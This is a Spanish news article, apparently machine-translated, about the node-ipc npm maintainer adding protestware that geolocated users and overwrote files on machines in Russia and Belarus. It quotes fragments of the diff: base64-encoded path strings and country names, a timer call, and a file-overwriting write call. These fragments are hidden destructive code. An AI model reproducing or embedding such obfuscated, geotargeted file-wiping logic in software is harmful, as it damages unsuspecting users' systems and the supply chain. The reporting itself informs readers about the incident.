Sabotaje: se agregó código a los archivos eliminados del popular paquete NPM en Rusia y Bielorrusia

imágenes falsas

Un desarrollador fue sorprendido agregando código malicioso a un popular paquete de código abierto que ha estado eliminando archivos en computadoras en Rusia y Bielorrusia, como parte de una protesta que enfureció a muchos usuarios y generó preocupaciones sobre la seguridad del software gratuito y de código abierto. .

La aplicación node-ipc amplía otras bibliotecas de código fuente abierto con comunicación remota entre procesos y capacidades de redes neuronales. Como dependencia, node-ipc se descarga e integra automáticamente con otras bibliotecas, incluidas algunas como Vue.js CLI, que tiene más de 1 millón de descargas semanales.

Un acto deliberado y peligroso.

Hace dos semanas, el autor de node-ipc lanzó una nueva versión de la biblioteca que saboteó computadoras en Rusia y Bielorrusia, los países que invadieron Ucrania y apoyaron la invasión, respectivamente. La nueva versión agregó una función que verifica la dirección IP de los desarrolladores que usaron el nodo-ipc en sus propios proyectos. Cuando se geolocalizaba una dirección IP en Rusia o Bielorrusia, la nueva versión eliminaba archivos de la máquina y los reemplazaba con un emoji de corazón.

Para ocultar la malicia, el autor de Node-IPC, Brandon Nozaki Miller, codificó en base 64 los cambios para que sea más difícil para los usuarios que querían inspeccionarlos visualmente en busca de problemas.

Esto es lo que vieron estos desarrolladores:







+      const n2 = Buffer.from("Li8=", "base64");
+      const o2 = Buffer.from("Li4v", "base64");
+      const r = Buffer.from("Li4vLi4v", "base64");
+      const f = Buffer.from("Lw==", "base64");
+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+      const e = Buffer.from("cnVzc2lh", "base64");
+      const i = Buffer.from("YmVsYXJ1cw==", "base64");

Luego, estas líneas se pasaron a la función de temporizador, como:

+          h(n2.toString("utf8"));

Los valores para las cadenas Base64 fueron:

  • n2 se establece en: ./
  • o2 se establece en: ../
  • r se establece en: ../../
  • f se establece en: /

Cuando se pasó a la función de temporizador, las líneas se usaron como entradas para eliminar archivos y reemplazarlos con el emoji del corazón.



+      try {
+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+        });

«En este punto, si esto coincide con una geolocalización de Rusia o Bielorrusia, habrá un abuso muy claro y un incidente crítico de seguridad de la cadena de suministro para cualquier sistema en el que se invoque este paquete npm», escribió Liran Tal, investigador de Snyk, un compañía de seguridad que rastreó los cambios y publicó sus hallazgos el miércoles.

Tal descubrió que el autor de node-ipc mantiene otras 40 bibliotecas, algunas o todas ellas también son dependencias de otros paquetes de código abierto. Refiriéndose al identificador del autor de Node-IPC, Tal cuestionó la sabiduría de la protesta y sus posibles implicaciones para el ecosistema de código abierto en su conjunto.

«Si bien el acto intencional y peligroso del mantenedor RIAEvangelist es percibido por algunos como un acto legítimo de protesta, ¿cómo afecta esto la reputación futura del mantenedor y su participación en la comunidad de desarrolladores?», escribió Tal. “¿Se confiaría alguna vez más en este cuidador para que no persiga actos futuros en acciones tan o más agresivas para los proyectos en los que participa?

RIAEvangelist también fue criticado en Twitter y en foros de código abierto.

“Es como si Tesla estuviera insertando intencionalmente un código para reconocer a ciertos conductores y conducirlos automáticamente al poste telefónico más cercano si coinciden vagamente con la descripción, con la esperanza de que esto solo penalice a ciertos conductores”, escribió una persona. Otra persona agregó: «¿Qué pasa si los archivos eliminados son realmente críticos para el negocio y pueden matar a otros?»

DEJA UNA RESPUESTA

Por favor ingrese su comentario!
Por favor ingrese su nombre aquí

15 − diez =